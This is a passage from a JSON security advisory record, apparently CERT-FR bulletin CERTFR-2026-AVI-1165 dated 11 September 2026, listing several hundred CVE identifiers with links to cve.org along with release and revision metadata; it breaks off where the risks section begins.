      "name": "CVE-2024-27019",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-27019"
    },
    {
      "name": "CVE-2024-23848",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-23848"
    },
    {
      "name": "CVE-2024-26843",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26843"
    },
    {
      "name": "CVE-2022-48747",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-48747"
    },
    {
      "name": "CVE-2026-25639",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-25639"
    },
    {
      "name": "CVE-2026-40973",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-40973"
    },
    {
      "name": "CVE-2024-41040",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41040"
    },
    {
      "name": "CVE-2020-11022",
      "url": "https://www.cve.org/CVERecord?id=CVE-2020-11022"
    },
    {
      "name": "CVE-2024-38564",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-38564"
    },
    {
      "name": "CVE-2026-15064",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-15064"
    },
    {
      "name": "CVE-2026-42044",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42044"
    },
    {
      "name": "CVE-2024-36950",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36950"
    },
    {
      "name": "CVE-2024-40927",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-40927"
    },
    {
      "name": "CVE-2021-31684",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-31684"
    },
    {
      "name": "CVE-2025-25193",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-25193"
    },
    {
      "name": "CVE-2023-52667",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52667"
    },
    {
      "name": "CVE-2026-8620",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-8620"
    },
    {
      "name": "CVE-2024-41014",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41014"
    },
    {
      "name": "CVE-2026-65905",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-65905"
    },
    {
      "name": "CVE-2026-16439",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-16439"
    },
    {
      "name": "CVE-2025-14915",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-14915"
    },
    {
      "name": "CVE-2026-56745",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56745"
    },
    {
      "name": "CVE-2018-16487",
      "url": "https://www.cve.org/CVERecord?id=CVE-2018-16487"
    },
    {
      "name": "CVE-2026-8633",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-8633"
    },
    {
      "name": "CVE-2022-31159",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-31159"
    },
    {
      "name": "CVE-2026-11714",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-11714"
    },
    {
      "name": "CVE-2016-10735",
      "url": "https://www.cve.org/CVERecord?id=CVE-2016-10735"
    },
    {
      "name": "CVE-2024-52903",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-52903"
    },
    {
      "name": "CVE-2026-47838",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47838"
    },
    {
      "name": "CVE-2021-42550",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-42550"
    },
    {
      "name": "CVE-2017-18214",
      "url": "https://www.cve.org/CVERecord?id=CVE-2017-18214"
    },
    {
      "name": "CVE-2025-22870",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-22870"
    },
    {
      "name": "CVE-2026-59642",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59642"
    },
    {
      "name": "CVE-2024-40941",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-40941"
    },
    {
      "name": "CVE-2023-52703",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52703"
    },
    {
      "name": "CVE-2024-40679",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-40679"
    },
    {
      "name": "CVE-2026-42034",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42034"
    },
    {
      "name": "CVE-2026-47884",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47884"
    },
    {
      "name": "CVE-2026-41417",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41417"
    },
    {
      "name": "CVE-2026-61308",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-61308"
    },
    {
      "name": "CVE-2025-23215",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-23215"
    },
    {
      "name": "CVE-2026-48043",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-48043"
    },
    {
      "name": "CVE-2026-9322",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-9322"
    },
    {
      "name": "CVE-2024-41055",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41055"
    },
    {
      "name": "CVE-2026-87958",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-87958"
    },
    {
      "name": "CVE-2026-22745",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-22745"
    },
    {
      "name": "CVE-2024-30171",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-30171"
    },
    {
      "name": "CVE-2026-42587",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42587"
    },
    {
      "name": "CVE-2026-54513",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54513"
    },
    {
      "name": "CVE-2024-38541",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-38541"
    },
    {
      "name": "CVE-2021-47491",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47491"
    },
    {
      "name": "CVE-2024-40984",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-40984"
    },
    {
      "name": "CVE-2025-14914",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-14914"
    },
    {
      "name": "CVE-2024-36016",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36016"
    },
    {
      "name": "CVE-2023-52922",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52922"
    },
    {
      "name": "CVE-2026-65927",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-65927"
    },
    {
      "name": "CVE-2022-48866",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-48866"
    },
    {
      "name": "CVE-2026-9563",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-9563"
    },
    {
      "name": "CVE-2023-52623",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52623"
    },
    {
      "name": "CVE-2026-54518",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54518"
    },
    {
      "name": "CVE-2020-9480",
      "url": "https://www.cve.org/CVERecord?id=CVE-2020-9480"
    },
    {
      "name": "CVE-2024-36114",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36114"
    },
    {
      "name": "CVE-2026-47244",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47244"
    },
    {
      "name": "CVE-2024-38540",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-38540"
    },
    {
      "name": "CVE-2026-13676",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-13676"
    },
    {
      "name": "CVE-2024-26759",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26759"
    },
    {
      "name": "CVE-2026-54297",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54297"
    },
    {
      "name": "CVE-2026-53434",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53434"
    },
    {
      "name": "CVE-2011-4969",
      "url": "https://www.cve.org/CVERecord?id=CVE-2011-4969"
    },
    {
      "name": "CVE-2026-60589",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-60589"
    },
    {
      "name": "CVE-2026-67312",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-67312"
    },
    {
      "name": "CVE-2026-6938",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6938"
    },
    {
      "name": "CVE-2025-8916",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-8916"
    },
    {
      "name": "CVE-2024-35884",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35884"
    },
    {
      "name": "CVE-2024-41076",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41076"
    },
    {
      "name": "CVE-2026-66142",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-66142"
    },
    {
      "name": "CVE-2025-8885",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-8885"
    },
    {
      "name": "CVE-2023-52464",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52464"
    },
    {
      "name": "CVE-2024-39276",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-39276"
    },
    {
      "name": "CVE-2023-52813",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52813"
    },
    {
      "name": "CVE-2026-10051",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-10051"
    },
    {
      "name": "CVE-2026-53669",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53669"
    },
    {
      "name": "CVE-2024-39506",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-39506"
    },
    {
      "name": "CVE-2026-41409",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41409"
    },
    {
      "name": "CVE-2018-1259",
      "url": "https://www.cve.org/CVERecord?id=CVE-2018-1259"
    },
    {
      "name": "CVE-2024-36940",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36940"
    },
    {
      "name": "CVE-2023-52811",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52811"
    },
    {
      "name": "CVE-2026-6322",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6322"
    },
    {
      "name": "CVE-2024-35838",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35838"
    },
    {
      "name": "CVE-2026-8400",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-8400"
    },
    {
      "name": "CVE-2026-45623",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-45623"
    },
    {
      "name": "CVE-2026-14980",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14980"
    },
    {
      "name": "CVE-2024-40978",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-40978"
    },
    {
      "name": "CVE-2023-24998",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-24998"
    },
    {
      "name": "CVE-2024-26894",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26894"
    },
    {
      "name": "CVE-2026-58062",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-58062"
    },
    {
      "name": "CVE-2024-41023",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41023"
    },
    {
      "name": "CVE-2024-53104",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-53104"
    },
    {
      "name": "CVE-2023-52615",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52615"
    },
    {
      "name": "CVE-2024-35801",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35801"
    },
    {
      "name": "CVE-2026-12143",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-12143"
    },
    {
      "name": "CVE-2026-67318",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-67318"
    },
    {
      "name": "CVE-2026-59893",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59893"
    },
    {
      "name": "CVE-2024-35930",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35930"
    },
    {
      "name": "CVE-2024-26660",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26660"
    },
    {
      "name": "CVE-2024-36010",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36010"
    },
    {
      "name": "CVE-2021-21290",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-21290"
    },
    {
      "name": "CVE-2024-41035",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41035"
    },
    {
      "name": "CVE-2023-52560",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52560"
    },
    {
      "name": "CVE-2026-50151",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-50151"
    },
    {
      "name": "CVE-2024-26878",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26878"
    },
    {
      "name": "CVE-2024-35900",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35900"
    },
    {
      "name": "CVE-2024-41065",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41065"
    },
    {
      "name": "CVE-2026-44486",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-44486"
    },
    {
      "name": "CVE-2024-38598",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-38598"
    },
    {
      "name": "CVE-2026-42264",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42264"
    },
    {
      "name": "CVE-2026-12803",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-12803"
    },
    {
      "name": "CVE-2021-47069",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47069"
    },
    {
      "name": "CVE-2026-8384",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-8384"
    },
    {
      "name": "CVE-2024-35960",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35960"
    },
    {
      "name": "CVE-2023-2976",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-2976"
    },
    {
      "name": "CVE-2026-59650",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59650"
    },
    {
      "name": "CVE-2025-1000",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-1000"
    },
    {
      "name": "CVE-2023-52840",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52840"
    },
    {
      "name": "CVE-2021-47548",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47548"
    },
    {
      "name": "CVE-2026-44496",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-44496"
    },
    {
      "name": "CVE-2018-8023",
      "url": "https://www.cve.org/CVERecord?id=CVE-2018-8023"
    },
    {
      "name": "CVE-2024-41091",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41091"
    },
    {
      "name": "CVE-2024-26853",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26853"
    },
    {
      "name": "CVE-2026-44492",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-44492"
    },
    {
      "name": "CVE-2024-36920",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36920"
    },
    {
      "name": "CVE-2021-47393",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47393"
    },
    {
      "name": "CVE-2026-54225",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54225"
    },
    {
      "name": "CVE-2026-39865",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-39865"
    },
    {
      "name": "CVE-2026-41238",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41238"
    },
    {
      "name": "CVE-2026-47877",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47877"
    },
    {
      "name": "CVE-2023-52522",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52522"
    },
    {
      "name": "CVE-2026-43512",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-43512"
    },
    {
      "name": "CVE-2024-41044",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41044"
    },
    {
      "name": "CVE-2024-40958",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-40958"
    },
    {
      "name": "CVE-2020-26555",
      "url": "https://www.cve.org/CVERecord?id=CVE-2020-26555"
    },
    {
      "name": "CVE-2021-47497",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47497"
    },
    {
      "name": "CVE-2024-26717",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26717"
    },
    {
      "name": "CVE-2024-38559",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-38559"
    },
    {
      "name": "CVE-2021-22570",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-22570"
    },
    {
      "name": "CVE-2026-47883",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47883"
    },
    {
      "name": "CVE-2021-35515",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-35515"
    },
    {
      "name": "CVE-2024-44990",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-44990"
    },
    {
      "name": "CVE-2026-41007",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41007"
    },
    {
      "name": "CVE-2026-42037",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42037"
    },
    {
      "name": "CVE-2022-40898",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-40898"
    },
    {
      "name": "CVE-2024-42265",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42265"
    },
    {
      "name": "CVE-2021-46984",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-46984"
    },
    {
      "name": "CVE-2026-55760",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-55760"
    },
    {
      "name": "CVE-2024-2201",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-2201"
    },
    {
      "name": "CVE-2023-26048",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-26048"
    },
    {
      "name": "CVE-2026-42498",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42498"
    },
    {
      "name": "CVE-2026-42042",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42042"
    },
    {
      "name": "CVE-2024-42152",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42152"
    },
    {
      "name": "CVE-2026-9071",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-9071"
    },
    {
      "name": "CVE-2017-7669",
      "url": "https://www.cve.org/CVERecord?id=CVE-2017-7669"
    },
    {
      "name": "CVE-2026-67213",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-67213"
    },
    {
      "name": "CVE-2023-52777",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52777"
    },
    {
      "name": "CVE-2024-41013",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41013"
    },
    {
      "name": "CVE-2026-55833",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-55833"
    },
    {
      "name": "CVE-2024-35789",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35789"
    },
    {
      "name": "CVE-2023-52835",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52835"
    },
    {
      "name": "CVE-2024-45663",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-45663"
    },
    {
      "name": "CVE-2026-13586",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-13586"
    },
    {
      "name": "CVE-2025-33134",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-33134"
    },
    {
      "name": "CVE-2021-47101",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47101"
    },
    {
      "name": "CVE-2024-26982",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26982"
    },
    {
      "name": "CVE-2023-26112",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-26112"
    },
    {
      "name": "CVE-2024-39499",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-39499"
    },
    {
      "name": "CVE-2026-9370",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-9370"
    },
    {
      "name": "CVE-2021-47310",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47310"
    },
    {
      "name": "CVE-2024-38579",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-38579"
    },
    {
      "name": "CVE-2023-52626",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52626"
    },
    {
      "name": "CVE-2024-36979",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36979"
    },
    {
      "name": "CVE-2024-36006",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36006"
    },
    {
      "name": "CVE-2026-11806",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-11806"
    },
    {
      "name": "CVE-2023-52476",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52476"
    },
    {
      "name": "CVE-2024-42301",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42301"
    },
    {
      "name": "CVE-2026-12590",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-12590"
    },
    {
      "name": "CVE-2026-34477",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-34477"
    },
    {
      "name": "CVE-2026-65902",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-65902"
    },
    {
      "name": "CVE-2023-52463",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52463"
    },
    {
      "name": "CVE-2024-26925",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26925"
    },
    {
      "name": "CVE-2026-56819",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56819"
    },
    {
      "name": "CVE-2026-54284",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54284"
    },
    {
      "name": "CVE-2026-6321",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6321"
    },
    {
      "name": "CVE-2022-3171",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-3171"
    },
    {
      "name": "CVE-2024-26870",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26870"
    },
    {
      "name": "CVE-2024-35958",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35958"
    },
    {
      "name": "CVE-2024-36954",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36954"
    },
    {
      "name": "CVE-2021-47456",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47456"
    },
    {
      "name": "CVE-2026-44490",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-44490"
    },
    {
      "name": "CVE-2016-7103",
      "url": "https://www.cve.org/CVERecord?id=CVE-2016-7103"
    },
    {
      "name": "CVE-2015-9251",
      "url": "https://www.cve.org/CVERecord?id=CVE-2015-9251"
    },
    {
      "name": "CVE-2026-59639",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59639"
    },
    {
      "name": "CVE-2026-86093",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-86093"
    },
    {
      "name": "CVE-2024-36933",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36933"
    },
    {
      "name": "CVE-2026-10852",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-10852"
    },
    {
      "name": "CVE-2024-41064",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41064"
    },
    {
      "name": "CVE-2026-28338",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-28338"
    },
    {
      "name": "CVE-2024-40911",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-40911"
    },
    {
      "name": "CVE-2010-5312",
      "url": "https://www.cve.org/CVERecord?id=CVE-2010-5312"
    },
    {
      "name": "CVE-2026-68494",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-68494"
    },
    {
      "name": "CVE-2024-26810",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26810"
    },
    {
      "name": "CVE-2023-52530",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52530"
    },
    {
      "name": "CVE-2024-26772",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26772"
    },
    {
      "name": "CVE-2012-6708",
      "url": "https://www.cve.org/CVERecord?id=CVE-2012-6708"
    },
    {
      "name": "CVE-2024-36000",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36000"
    },
    {
      "name": "CVE-2024-50110",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-50110"
    },
    {
      "name": "CVE-2021-47356",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47356"
    },
    {
      "name": "CVE-2020-7656",
      "url": "https://www.cve.org/CVERecord?id=CVE-2020-7656"
    },
    {
      "name": "CVE-2018-8013",
      "url": "https://www.cve.org/CVERecord?id=CVE-2018-8013"
    },
    {
      "name": "CVE-2021-47609",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47609"
    },
    {
      "name": "CVE-2026-29063",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-29063"
    },
    {
      "name": "CVE-2026-60147",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-60147"
    },
    {
      "name": "CVE-2026-47889",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47889"
    },
    {
      "name": "CVE-2024-26855",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26855"
    },
    {
      "name": "CVE-2019-16869",
      "url": "https://www.cve.org/CVERecord?id=CVE-2019-16869"
    },
    {
      "name": "CVE-2023-52648",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52648"
    },
    {
      "name": "CVE-2026-15280",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-15280"
    },
    {
      "name": "CVE-2026-67316",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-67316"
    },
    {
      "name": "CVE-2025-14813",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-14813"
    },
    {
      "name": "CVE-2022-41881",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-41881"
    },
    {
      "name": "CVE-2025-13465",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-13465"
    },
    {
      "name": "CVE-2023-52791",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52791"
    },
    {
      "name": "CVE-2024-38538",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-38538"
    },
    {
      "name": "CVE-2026-44488",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-44488"
    },
    {
      "name": "CVE-2024-42237",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42237"
    },
    {
      "name": "CVE-2021-47353",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47353"
    },
    {
      "name": "CVE-2023-52707",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52707"
    },
    {
      "name": "CVE-2026-59899",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59899"
    },
    {
      "name": "CVE-2026-1718",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-1718"
    },
    {
      "name": "CVE-2026-71491",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-71491"
    },
    {
      "name": "CVE-2026-34481",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-34481"
    },
    {
      "name": "CVE-2024-27025",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-27025"
    },
    {
      "name": "CVE-2024-27011",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-27011"
    },
    {
      "name": "CVE-2024-36953",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36953"
    },
    {
      "name": "CVE-2024-26924",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26924"
    },
    {
      "name": "CVE-2021-47257",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47257"
    },
    {
      "name": "CVE-2026-38969",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-38969"
    },
    {
      "name": "CVE-2026-19880",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-19880"
    },
    {
      "name": "CVE-2024-46858",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46858"
    },
    {
      "name": "CVE-2026-47059",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47059"
    },
    {
      "name": "CVE-2022-25168",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-25168"
    },
    {
      "name": "CVE-2026-41293",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41293"
    },
    {
      "name": "CVE-2024-38615",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-38615"
    },
    {
      "name": "CVE-2024-44989",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-44989"
    },
    {
      "name": "CVE-2024-6345",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-6345"
    },
    {
      "name": "CVE-2026-77310",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-77310"
    },
    {
      "name": "CVE-2024-57699",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-57699"
    },
    {
      "name": "CVE-2023-52817",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52817"
    },
    {
      "name": "CVE-2026-65898",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-65898"
    },
    {
      "name": "CVE-2020-11023",
      "url": "https://www.cve.org/CVERecord?id=CVE-2020-11023"
    },
    {
      "name": "CVE-2023-5090",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-5090"
    },
    {
      "name": "CVE-2024-27410",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-27410"
    },
    {
      "name": "CVE-2021-46909",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-46909"
    },
    {
      "name": "CVE-2019-8331",
      "url": "https://www.cve.org/CVERecord?id=CVE-2019-8331"
    },
    {
      "name": "CVE-2024-35853",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35853"
    },
    {
      "name": "CVE-2018-1000632",
      "url": "https://www.cve.org/CVERecord?id=CVE-2018-1000632"
    },
    {
      "name": "CVE-2019-20445",
      "url": "https://www.cve.org/CVERecord?id=CVE-2019-20445"
    },
    {
      "name": "CVE-2024-26907",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26907"
    },
    {
      "name": "CVE-2024-40961",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-40961"
    },
    {
      "name": "CVE-2026-59889",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59889"
    },
    {
      "name": "CVE-2025-36185",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-36185"
    },
    {
      "name": "CVE-2025-11226",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-11226"
    }
  ],
  "initial_release_date": "2026-09-11T00:00:00",
  "last_revision_date": "2026-09-11T00:00:00",
  "links": [],
  "reference": "CERTFR-2026-AVI-1165",
  "revisions": [
    {
      "description": "Version initiale",
      "revision_date": "2026-09-11T00:00:00.000000"
    }
  ],
  "risks": [
    {
